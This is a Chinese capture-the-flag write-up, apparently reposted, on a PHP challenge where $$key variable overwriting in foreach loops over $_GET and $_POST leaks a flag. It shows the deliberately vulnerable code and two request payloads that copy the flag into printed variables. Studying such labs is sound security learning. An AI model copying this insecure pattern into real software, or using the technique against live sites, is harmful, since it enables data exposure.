PHP_Code_Challenge-7-变量覆盖
2021-03-26 16:24
标签:echo 输出 img ref post method 报错 思路 相等 请求方式需为POST 需要POST一个名为flag的变量 $$,变量覆盖 试着POST了一发试试 显然flag不是这个1 将真实的flag覆盖 相当于 输出 将真实的flag覆盖 相当于 PHP_Code_Challenge-7-变量覆盖 标签:echo 输出 img ref post method 报错 思路 相等 原文地址:https://www.cnblogs.com/Rain99-/p/12638275.html
题目
$value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
分析
if ($_SERVER["REQUEST_METHOD"] != "POST")
die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
第一个foreach处,能将任意变量的值赋予任意变量
第二个foreach处,能将输入的值赋予任意变量if ( $_POST["flag"] !== $flag )
die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
$_POST["flag"]
如果与$flag
不完全相等,即值和类型都比较时,输出$_403
如果完全相等,则输出$flag
和$_200
看回上面的变量覆盖,foreach ($_POST as $key => $value)$$key = $value;
当只POST一个值为1的变量flag,$$key = $valu
=>$flag = 1
,使可能原本存在的变量$flag被赋值为1,即真实的flag被修改为变量flag的值,由于前面的两个if,这是无法被改变的
所以,需要在真实的flag被修改前将其值给其他变量并能输出出来
能输出的只有die($_403);
和die($_200);
,所以思路是利用变量覆盖在flag被改前将真实的$flag
的值覆盖$_403
或$_200
并输出
而能利用变量覆盖将一个变量的值覆盖其他变量的地方只有第一个foreach处知识点
$$变量覆盖
解法
$_200
$_200
并输出$_200
$_GET[‘_200‘]=‘flag‘;
$_POST[‘flag‘]=1;
foreach ($_GET as $key => $value)
$$key = $$value;
$_200=$flag
,将真flag给了$_200
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
$flag
被修改为1,与$_POST[‘flag‘]
等值等类型,不满足$_POST["flag"] !== $flag
echo "This is your flag : ". $flag . "\n";
die($_200);
$_200
即输出真flag$_403
$_403
并构造使$_403
能输出$_GET[‘_403‘]=flag
&$_GET["_POST[‘flag‘]"]=2
$_POST[‘flag‘]=1;
foreach ($_GET as $key => $value)
$$key = $$value;
$_403=$flag
,将真flag给了$_403
,以及$_POST[‘flag‘]=$2
,$2
不存在,即$_POST[‘flag‘]
为空[实际代码应该会报错]foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST["flag"] !== $flag )
die($_403);
$flag
被修改为1,与$_POST[‘flag‘]
不等,满足$_POST["flag"] !== $flag
,输出$_403
文章标题:PHP_Code_Challenge-7-变量覆盖
文章链接:http://soscw.com/index.php/essay/68189.html